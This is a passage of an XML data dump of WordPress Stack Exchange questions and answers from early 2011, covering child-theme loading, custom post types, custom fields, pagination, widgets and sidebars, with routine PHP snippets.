  <row Id="6337" PostTypeId="2" ParentId="6332" CreationDate="2011-01-04T21:37:10.943" Score="4" ViewCount="" Body="&lt;p&gt;Parent theme's &lt;code&gt;functions.php&lt;/code&gt; is loaded &lt;strong&gt;after&lt;/strong&gt; that of child theme. So your constants are not available at the moment of child theme loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is good practice to actually run any theme code at the hook after both themes are loaded. At the earliest at &lt;code&gt;after_setup_theme&lt;/code&gt; hook. For enqueues is is explicitly documented that &lt;code&gt;init&lt;/code&gt; hook should be used.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-04T21:37:10.943" CommentCount="5" />
  <row Id="6338" PostTypeId="2" ParentId="6333" CreationDate="2011-01-04T23:26:29.667" Score="0" ViewCount="" Body="&lt;p&gt;Found this and it works perfectly!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3247/dynamic-navigation-for-custom-post-type-pages/3270#3270&quot;&gt;Dynamic navigation for custom post type (pages)&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2289" LastActivityDate="2011-01-04T23:26:29.667" />
  <row Id="6339" PostTypeId="1" CreationDate="2011-01-04T23:34:52.903" Score="0" ViewCount="484" Body="&lt;p&gt;I am trying to pull in a custom field vales for each page while using wp_list_pages.  For example I want to list out each portfolio item in my sidebar but also show why type of work it is by pulling in a custom field value so it would look like this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Portfolio Item 1&#xA;Type: Web Design&lt;/li&gt;&#xA;&lt;li&gt;Portfolio Item 2&#xA;Type: Web Development&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is the code I am using to pull in custom post types and this works perfectly, I just have no idea how to have it pull custom field values as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_list_post_types( $args ) {&#xA;$defaults = array(&#xA;    'numberposts'  =&amp;gt; -1,&#xA;    'offset'       =&amp;gt; 0,&#xA;    'orderby'      =&amp;gt; 'menu_order, post_title',&#xA;    'post_type'    =&amp;gt; 'our-work',&#xA;    'depth'        =&amp;gt; 0,&#xA;    'show_date'    =&amp;gt; '',&#xA;    'date_format'  =&amp;gt; get_option('date_format'),&#xA;    'child_of'     =&amp;gt; 0,&#xA;    'exclude'      =&amp;gt; '',&#xA;    'include'      =&amp;gt; '',&#xA;    'title_li'     =&amp;gt; __(''),&#xA;    'echo'         =&amp;gt; 1,&#xA;    'link_before'  =&amp;gt; '',&#xA;    'link_after'   =&amp;gt; '',&#xA;    'exclude_tree' =&amp;gt; '' );&#xA;&#xA;$r = wp_parse_args( $args, $defaults );&#xA;extract( $r, EXTR_SKIP );&#xA;&#xA;$output = '';&#xA;$current_page = 0;&#xA;&#xA;// sanitize, mostly to keep spaces out&#xA;$r['exclude'] = preg_replace('/[^0-9,]/', '', $r['exclude']);&#xA;&#xA;// Allow plugins to filter an array of excluded pages (but don't put a nullstring into the array)&#xA;$exclude_array = ( $r['exclude'] ) ? explode(',', $r['exclude']) : array();&#xA;$r['exclude'] = implode( ',', apply_filters('wp_list_post_types_excludes', $exclude_array) );&#xA;&#xA;// Query pages.&#xA;$r['hierarchical'] = 0;&#xA;$pages = get_posts($r);&#xA;&#xA;if ( !empty($pages) ) {&#xA;    if ( $r['title_li'] )&#xA;        $output .= '&amp;lt;li class=&quot;pagenav&quot;&amp;gt;' . $r['title_li'] . '&amp;lt;ul&amp;gt;';&#xA;&#xA;    global $wp_query;&#xA;    if ( ($r['post_type'] == get_query_var('post_type')) || is_attachment() )&#xA;        $current_page = $wp_query-&amp;gt;get_queried_object_id();&#xA;    $output .= walk_page_tree($pages, $r['depth'], $current_page, $r);&#xA;&#xA;    if ( $r['title_li'] )&#xA;        $output .= '&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;';&#xA;}&#xA;&#xA;$output = apply_filters('wp_list_pages', $output, $r);&#xA;&#xA;if ( $r['echo'] )&#xA;    echo $output;&#xA;else&#xA;    return $output;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="2289" LastActivityDate="2011-01-07T22:15:36.500" Title="Adding custom field values to wp_list_pages" Tags="&lt;custom-post-types&gt;&lt;query&gt;" AnswerCount="1" />
  <row Id="6340" PostTypeId="2" ParentId="6339" CreationDate="2011-01-05T00:14:58.610" Score="3" ViewCount="" Body="&lt;p&gt;If all you want is to list some recent portfolio items in the sidebar, you're overkilling it by trying to emulate the wp_list_pages function. You can do this with a simple custom query. (Unless you really want to do this with wp_list_pages for some reason, but I can't think of why you would.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Set up the query args&#xA;$arr_query_args = array(&#xA;    'numberposts'  =&amp;gt; 5, // Or however many posts you want to show&#xA;    'orderby'      =&amp;gt; 'post_title',&#xA;    'post_type'    =&amp;gt; 'our-work'&#xA;);&#xA;&#xA;// Run the query&#xA;$arr_posts = get_posts( $arr_query_args );&#xA;&#xA;// Global the post obj&#xA;global $post;&#xA;&#xA;foreach( $arr_posts as $this_post ) { // For every post retrieved&#xA;&#xA;    // Now you have the (mostly) complete post object. Print out whatever you want from it!&#xA;&#xA;    $permalink = get_permalink($this_post-&amp;gt;ID); // Get the post's permalink&#xA;&#xA;    echo '&amp;lt;a href=&quot;' . $permalink . '&quot;';&#xA;&#xA;    // If this link is for the current page, add a class&#xA;    if(is_object($post) &amp;amp;&amp;amp; $post-&amp;gt;ID == $this_post-&amp;gt;ID) {&#xA;        echo ' class=&quot;current_page_item&quot;';&#xA;    }&#xA;&#xA;    echo '&amp;gt;';&#xA;        echo $this_post-&amp;gt;post_title . ': ';&#xA;    echo '&amp;lt;/a&amp;gt;';&#xA;&#xA;    // You can use get_post_meta to grab meta values for this post&#xA;    echo(get_post_meta($this_post-&amp;gt;ID, 'your-custom-field-key', true));&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suppose you could wrap that in a function and use it as a template tag if you want to pass different args to it in different places.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastEditorUserId="1537" LastEditorDisplayName="" LastEditDate="2011-01-07T22:15:36.500" LastActivityDate="2011-01-07T22:15:36.500" CommentCount="8" />
  <row Id="6341" PostTypeId="2" ParentId="6336" CreationDate="2011-01-05T01:06:10.390" Score="4" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Relequestual:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think what you want is here:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://codex.wordpress.org/Dashboard_Widgets_API#Advanced%3a_Forcing_your_widget_to_the_top&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Dashboard Widgets API / Advanced: Forcing your widget to the top&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It doesn't require you to change code per se, just to add the code like shown in the WordPress Codex to your theme's  &lt;code&gt;functions.php&lt;/code&gt; file which is a standard way to customize and/or extend WordPress:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find out the values you need use, just add a &lt;code&gt;print_r($wp_meta_boxes);&lt;/code&gt; line then an &lt;code&gt;exit;&lt;/code&gt; immediately below the &lt;code&gt;global $wp_meta_boxes;&lt;/code&gt; line like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_meta_boxes;&#xA;print_r($wp_meta_boxes);&#xA;exit;  // Stop execution here so you can see it.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may need to actually view source to make sense of it all.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;-Mike &lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2011-01-05T01:06:10.390" CommentCount="2" />
  <row Id="6342" PostTypeId="1" AcceptedAnswerId="6617" CreationDate="2011-01-05T01:32:16.110" Score="1" ViewCount="418" Body="&lt;p&gt;I am using custom taxonomies with WordPress 3.0.4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if anyone knows how to remove the taxonomy base from the URL?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen plugins that do it for categories and tags, but not for custom taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a custom taxonomy called 'cities'. I would like my URL structure to be mydomain.com/newyork instead of mydomain.com/cities/newyork&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a function or something I can use?&lt;/p&gt;&#xA;" OwnerUserId="2107" LastActivityDate="2011-03-10T16:32:33.113" Title="Remove Custom Taxonomy Base" Tags="&lt;custom-taxonomy&gt;&lt;permalinks&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" />
  <row Id="6343" PostTypeId="1" CreationDate="2011-01-05T02:45:01.833" Score="0" ViewCount="495" Body="&lt;p&gt;I have searched all over the web to find some solution, but none of them are working for me, can someone help me with this and explain what is wrong? I've spent 3 hours debugging and didn't find the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $paged;&#xA;global $wp_query;&#xA;wp_reset_query();&#xA;&#xA;$per_page = get_option('posts_per_page');&#xA;$cat_cars = get_term_by('slug', 'cars', 'category');&#xA;$page_links_total = ceil($cat_cars-&amp;gt;count / $per_page);&#xA;$paged = (get_query_var('paged')) ? get_query_var('paged') : 1;&#xA;&#xA;$args = array(&#xA;    'post_type' =&amp;gt; 'cars',&#xA;    'post_status' =&amp;gt; 'publish',&#xA;    'cat' =&amp;gt; $cat_cars-&amp;gt;term_id,&#xA;    'orderby' =&amp;gt; 'date',&#xA;    'order' =&amp;gt; 'DESC',&#xA;    'posts_per_page' =&amp;gt; $per_page,&#xA;    'paged' =&amp;gt; $paged&#xA;);&#xA;&#xA;$page_links = paginate_links(array(&#xA;            'base' =&amp;gt; add_query_arg('paged', '%#%'),&#xA;            'format' =&amp;gt; '',&#xA;            'prev_text' =&amp;gt; __('«'),&#xA;            'next_text' =&amp;gt; __('»'),&#xA;            'end_size' =&amp;gt; 2,&#xA;            'mid_size' =&amp;gt; 1,&#xA;            'type' =&amp;gt; 'plain',&#xA;            'total' =&amp;gt; $page_links_total,&#xA;            'current' =&amp;gt; $paged&#xA;        ));&#xA;&#xA;$car_query = new WP_Query($args);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And later i call &lt;code&gt;have_posts&lt;/code&gt;, &lt;code&gt;the_post&lt;/code&gt;, etc..&lt;br&gt;&#xA;This part works, until I go to the second page of my pagination and get nothing found.&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-01-05T15:02:44.913" LastActivityDate="2011-08-21T02:32:50.947" Title="WordPress pagination with custom post type?" Tags="&lt;3.0&gt;&lt;custom-post-types&gt;&lt;pagination&gt;" AnswerCount="2" CommentCount="12" FavoriteCount="1" />
  <row Id="6344" PostTypeId="2" ParentId="4172" CreationDate="2011-01-05T03:21:51.723" Score="0" ViewCount="" Body="&lt;p&gt;Great reading!&#xA;Thanks so much for the info!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;www.parisbynight.com.au&lt;/p&gt;&#xA;" LastActivityDate="2011-01-05T03:21:51.723" />
  <row Id="6345" PostTypeId="1" AcceptedAnswerId="6347" CreationDate="2011-01-05T04:11:53.983" Score="0" ViewCount="537" Body="&lt;p&gt;I just tried the first time to extend a custom post type admin-UI-edit-page with some &quot;meta&quot; boxes (if this is the right word).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_post_type('post_type', array('register_meta_box_cb' =&amp;gt; 'additional_input_field') );&#xA;&#xA;function additional_input_field() {&#xA;global $post;&#xA;$custom = get_post_custom( $post-&amp;gt;ID );&#xA;$length = $custom[&quot;post_type-length&quot;][0];&#xA;&#xA;return print '&amp;lt;label&amp;gt;Length:&amp;lt;/label&amp;gt;&amp;lt;input name=&quot;post_type-length&quot; value=&quot;'.$length.'&quot; /&amp;gt;'; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So far i haven't seen any documentation or example about how to use this. A look in the core showed me that it should be equal to:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;add_action( 'add_meta_boxes'.$post_type, 'additional_input_field', 10, 1 );&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The appropriate hook can be found in (core) /root/wp-admin/edit-form-advanced.php line 163. The call for add_action in (core) /root/wp-includes/post.php line 877. The only problem is that it doesn't seem to work as expected. The field get's loaded in front (visually: on top) of everything else. If i try to hook it directly to 'add_meta_boxes'.$post_type, i get nothing...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Simplified examples in this text to show what i mean. Typos may be there but doesn't matter. The callback fn is taken from some sample code over &lt;a href=&quot;http://kovshenin.com/archives/extending-custom-post-types-in-wordpress-3-0/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-01-06T13:09:38.707" LastActivityDate="2011-01-06T13:09:38.707" Title="register_post_type &amp; 'register_meta_box_cb' argument" Tags="&lt;custom-post-types&gt;" AnswerCount="1" />
  <row Id="6346" PostTypeId="1" AcceptedAnswerId="7136" CreationDate="2011-01-05T04:14:09.683" Score="2" ViewCount="484" Body="&lt;pre&gt;&lt;code&gt;the image is worth a thousand words. take a look at it.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you know how craigslist has posts organized by date ..ex&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Tue 3&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;post links for tuesday&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Wed 4&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;post links for wed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Thurs 5&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;post links for thur&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know wordpress posts are organized by date by default.&#xA;take a look at this&#xA;&lt;img src=&quot;http://i.stack.imgur.com/6Wm2Q.png&quot; alt=&quot;alt text&quot;&gt;&#xA;any ideas? btw if this did not make sense let me know. tx&lt;/p&gt;&#xA;" OwnerUserId="1043" LastEditorUserId="1043" LastEditorDisplayName="" LastEditDate="2011-01-17T18:21:53.407" LastActivityDate="2011-01-18T22:28:27.697" Title="order posts by date like craigslist" Tags="&lt;posts&gt;&lt;date-time&gt;" AnswerCount="4" CommentCount="5" FavoriteCount="1" />
  <row Id="6347" PostTypeId="2" ParentId="6345" CreationDate="2011-01-05T04:36:48.490" Score="0" ViewCount="" Body="&lt;p&gt;I love answering my own questions: Wrap the function add_additional_input_field() in a new function that contains this &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_meta_box&lt;/a&gt; and call it in the register_meta_box_cb argument.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And yes: This is the sollution.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-01-05T04:36:48.490" />
  <row Id="6348" PostTypeId="1" CreationDate="2011-01-05T06:57:14.353" Score="2" ViewCount="150" Body="&lt;p&gt;I made a new custom type, it's working fine. My question is: If i want to add in a single post that custom-type with different informations for about x times...how should I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;br&gt;&#xA;Let's say I have &quot;Reduced Price Laptops,&quot; with: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Name &lt;/li&gt;&#xA;&lt;li&gt;Price&lt;/li&gt;&#xA;&lt;li&gt;Image&lt;/li&gt;&#xA;&lt;li&gt;Description&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I want to make a post where I will post 4 laptops and I want to fill 4 different informations. I want them to be posted in the same article, not 4 separately. &#xA;Each of them will show up styled separately, but with same design. Let's say a little box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas/sugestions?&lt;/p&gt;&#xA;" OwnerUserId="2292" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-05T17:41:51.593" LastActivityDate="2011-08-06T00:39:26.177" Title="Multiple information using custom post type" Tags="&lt;custom-post-types&gt;&lt;posts&gt;&lt;custom-field&gt;&lt;metabox&gt;" AnswerCount="4" CommentCount="3" />
  <row Id="6349" PostTypeId="1" CreationDate="2011-01-05T07:00:07.860" Score="1" ViewCount="290" Body="&lt;p&gt;Is it possible to remove/add widgets from/to the Available Widgets pool (either by plugin or editing core files)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are 3 widget files located at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/wp-includes/widgets.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/wp-admin/widgets.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/wp-admin/includes/widgets.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to change both the code and the widget variables but nothing happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="1619" LastEditorUserId="1619" LastEditorDisplayName="" LastEditDate="2011-01-05T11:23:52.850" LastActivityDate="2011-01-22T02:37:41.383" Title="Remove/Add widgets from/to the Available Widgets pool" Tags="&lt;widgets&gt;&lt;wp-admin&gt;" AnswerCount="1" />
  <row Id="6350" PostTypeId="1" AcceptedAnswerId="6384" CreationDate="2011-01-05T08:41:11.730" Score="0" ViewCount="261" Body="&lt;p&gt;I am new to theming with wordpress. I have a theme layout with one sidebar at the right side of the website.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now on my homepage and one other page i dont want to have the sidebar. On all other pages it needs to stay. How can i do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="2293" LastActivityDate="2011-01-05T18:17:50.003" Title="How to change sidebar per page?" Tags="&lt;themes&gt;" AnswerCount="3" />
  <row Id="6351" PostTypeId="1" AcceptedAnswerId="6353" CreationDate="2011-01-05T09:59:47.010" Score="1" ViewCount="67" Body="&lt;p&gt;give it an tipp or solution for deactivate the method request() in class WP_Http_Streams?&#xA;I use WordPress also on offline-servers and have wp_debug true for development and tests. But i have many warnings from functions to use the http-class; as example the functions to read the feeds in dashboard. Current i have deactivate all hooks for update themes, plugins, core and the crons; see my small plugin for this: &lt;a href=&quot;https://github.com/bueltge/WP-Offline&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bueltge/WP-Offline&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for a reply&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-01-05T10:13:34.413" Title="How deactivate the http-api" Tags="&lt;network&gt;&lt;offline&gt;" AnswerCount="1" />
  <row Id="6352" PostTypeId="2" ParentId="6289" CreationDate="2011-01-05T10:13:33.557" Score="1" ViewCount="" Body="&lt;p&gt;You can find an example for custom meta boxes on posts and pages i this repository: &lt;a href=&quot;https://github.com/bueltge/different-type&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bueltge/different-type&lt;/a&gt;&#xA;The example save 3 areas wioth values.&lt;/p&gt;&#xA;" OwnerUserId="170" LastActivityDate="2011-01-05T10:13:33.557" />
  <row Id="6353" PostTypeId="2" ParentId="6351" CreationDate="2011-01-05T10:13:34.413" Score="2" ViewCount="" Body="&lt;p&gt;Try this in &lt;code&gt;wp-config.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define( 'WP_HTTP_BLOCK_EXTERNAL', true );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-05T10:13:34.413" CommentCount="1" />
  <row Id="6354" PostTypeId="1" CreationDate="2011-01-05T10:17:00.340" Score="0" ViewCount="273" Body="&lt;p&gt;Greetings!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to list child categories in a sidebar, but also hide the parent cat.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using this at the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_categories('orderby=id&amp;amp;show_count=0&amp;amp;use_desc_for_title=0&amp;amp;child_of=5'); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This has a unfortunate effect of displaying 'Categories' above the list. Is there any way to get rid of this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-01-05T14:29:01.953" Title="List Child Categorie and hide the parent" Tags="&lt;categories&gt;&lt;list&gt;" AnswerCount="1" />
  <row Id="6355" PostTypeId="2" ParentId="6350" CreationDate="2011-01-05T10:25:25.120" Score="1" ViewCount="" Body="&lt;p&gt;You will need to register another sidebar.Look at twenty theme,in function.php file for example how to do that.&lt;/p&gt;&#xA;" OwnerUserId="1147" LastActivityDate="2011-01-05T10:25:25.120" CommentCount="1" />
  <row Id="6356" PostTypeId="1" AcceptedAnswerId="6386" CreationDate="2011-01-05T11:23:25.133" Score="0" ViewCount="130" Body="&lt;p&gt;WP Robot looks like a very powerful plugin, but one which could be used for all sorts of spammy websites. Just wondering what the general community opinion is of these plugins? Are they useful or damaging to a website?&lt;/p&gt;&#xA;" OwnerUserId="1341" LastActivityDate="2011-07-03T22:28:48.900" Title="Are plugins like WP Robot considered as spammy by the community?" Tags="&lt;automate&gt;&lt;automation&gt;" AnswerCount="4" />
  <row Id="6357" PostTypeId="1" AcceptedAnswerId="6469" CreationDate="2011-01-05T12:26:27.313" Score="3" ViewCount="180" Body="&lt;p&gt;I'm aware it's not a feature of Wordpress, but I was wondering if there was a way or a plug-in (haven't found one from searching) that allows me to force a user to change their password after a defined number of days.&lt;/p&gt;&#xA;" OwnerUserId="1020" LastActivityDate="2011-05-19T12:29:55.403" Title="Setting WP Admin passwords to expire" Tags="&lt;password&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6358" PostTypeId="2" ParentId="4191" CreationDate="2011-01-05T12:54:33.750" Score="0" ViewCount="" Body="&lt;p&gt;I´ve found, that your menu will work this way: instal plugin &quot;&lt;a href=&quot;http://www.shinephp.com/user-role-editor-wordpress-plugin/&quot; rel=&quot;nofollow&quot;&gt;User Role Editor&lt;/a&gt;&quot; and there you can edit condition for editor role and other too. Switch edit_theme_options ON. But now: you will see &quot;menu&quot; -option under &quot;themes&quot;, &quot;widgets&quot;.&#xA;For me: After click to &quot;menu&quot; (as editor) I´d not see filled options but empty. So I´d deactivate plugin &quot;User Role Editor&quot; and filled options for &quot;menu&quot; appears correctly. Note that deactivating plugin &quot;User Role Editor&quot; remains conditions for editor active! Good for me, maybe it will help you too&lt;/p&gt;&#xA;" LastActivityDate="2011-01-05T12:54:33.750" />
  <row Id="6359" PostTypeId="2" ParentId="6346" CreationDate="2011-01-05T13:31:40.683" Score="1" ViewCount="" Body="&lt;p&gt;As @goldenapples noted, if your template uses the the_date(); template tag, it'll do this all on its own, as the default. I remember being confused the first time I used WordPress and I couldn't figure out how to get it to stop doing this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you tested already and this isn't the result you're getting? It may simply be a matter of changing the tags your template is using.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;" OwnerUserId="1340" LastActivityDate="2011-01-05T13:31:40.683" CommentCount="3" />
  <row Id="6360" PostTypeId="2" ParentId="6349" CreationDate="2011-01-05T14:10:35.550" Score="5" ViewCount="" Body="&lt;p&gt;You can use the function &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/unregister_widget&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;unregister_widget&lt;/code&gt;&lt;/a&gt; to remove widgets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;E.g. you can remove the Calendar widget with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function my_widgets_init() {&#xA;    unregister_widget( 'WP_Widget_Calendar' );&#xA;}&#xA;add_action('widgets_init', 'my_widgets_init');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To add widgets, use the &lt;a href=&quot;http://codex.wordpress.org/Widgets_API&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Widgets API&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2011-01-05T14:10:35.550" />
  <row Id="6361" PostTypeId="1" CreationDate="2011-01-05T14:28:29.567" Score="0" ViewCount="99" Body="&lt;p&gt;I like to host a wordpress blog via free hosting services. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there any frre web hosting site host the wordpress blog. Please help me.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in Advance...&lt;/p&gt;&#xA;" OwnerUserId="2133" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-01-11T07:42:20.950" LastActivityDate="2011-01-11T07:42:20.950" Title="free web host for wordpress blog" Tags="&lt;hosting&gt;&lt;blogging&gt;" AnswerCount="2" />
  <row Id="6362" PostTypeId="2" ParentId="6354" CreationDate="2011-01-05T14:29:01.953" Score="2" ViewCount="" Body="&lt;p&gt;You need to add &lt;code&gt;&amp;amp;title_li=&lt;/code&gt; to your code like so to remove the word &quot;Categories&quot;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php wp_list_categories('orderby=id&amp;amp;show_count=0&amp;amp;use_desc_for_title=0&amp;amp;child_of=5&amp;amp;title_li='); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;More information on categories can be found in the codex here: &lt;a href=&quot;http://codex.wordpress.org/Template_Tags/wp_list_categories&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Template_Tags/wp_list_categories&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-01-05T14:29:01.953" CommentCount="1" />
  <row Id="6363" PostTypeId="1" CreationDate="2011-01-05T14:45:42.610" Score="1" ViewCount="244" Body="&lt;p&gt;So, i got a custom post type applied to different posts and also a page. When i display this page, it shows some content (text), and at the bottom a link to get the list of the products related to this page (thanks to the CPT also applied to the page).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The link is called like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo get_the_term_list( $post-&amp;gt;ID, 'prod-cate', 'Products of the cateogry: ', ', ', '.' ); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When i hit this link, it displays an archives page with the products but also the page i'm comming from. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question is, how not to display this page in the archives results?&lt;/p&gt;&#xA;" OwnerUserId="1997" LastActivityDate="2011-07-05T02:22:04.190" Title="Exclude pages in archives results" Tags="&lt;custom-post-types&gt;&lt;page&gt;" AnswerCount="1" />
  <row Id="6364" PostTypeId="2" ParentId="6343" CreationDate="2011-01-05T14:52:52.083" Score="0" ViewCount="" Body="&lt;p&gt;I have this code (cleaned) on a site, calling posts from a custom post type, and at the bottom the pagination, if there's more than 10 posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $wp_query = new WP_Query();  $wp_query-&amp;gt;query('post_type=mycpt&amp;amp;showposts=10'.'&amp;amp;paged='.$paged); &#xA;while ($wp_query-&amp;gt;have_posts()) : $wp_query-&amp;gt;the_post();?&amp;gt;&#xA;&amp;lt;h3&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/h3&amp;gt;&#xA;&amp;lt;?php the_content();?&amp;gt;  &#xA;&amp;lt;?php endwhile; wp_reset_query(); ?&amp;gt;&#xA;&#xA;&amp;lt;?php if (  $wp_query-&amp;gt;max_num_pages &amp;gt; 1 ) { ?&amp;gt;&#xA;&amp;lt;div id=&quot;nav-below&quot; class=&quot;navigation&quot;&amp;gt;&#xA;&amp;lt;div class=&quot;nav-previous&quot;&amp;gt;&amp;lt;?php next_posts_link( __( '&amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;laquo;&amp;lt;/span&amp;gt; Dicas antigas', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;nav-next&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( 'Dicas mais recentes &amp;lt;span class=&quot;meta-nav&quot;&amp;gt;&amp;amp;raquo;&amp;lt;/span&amp;gt;', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it can help.&lt;/p&gt;&#xA;" OwnerUserId="1997" 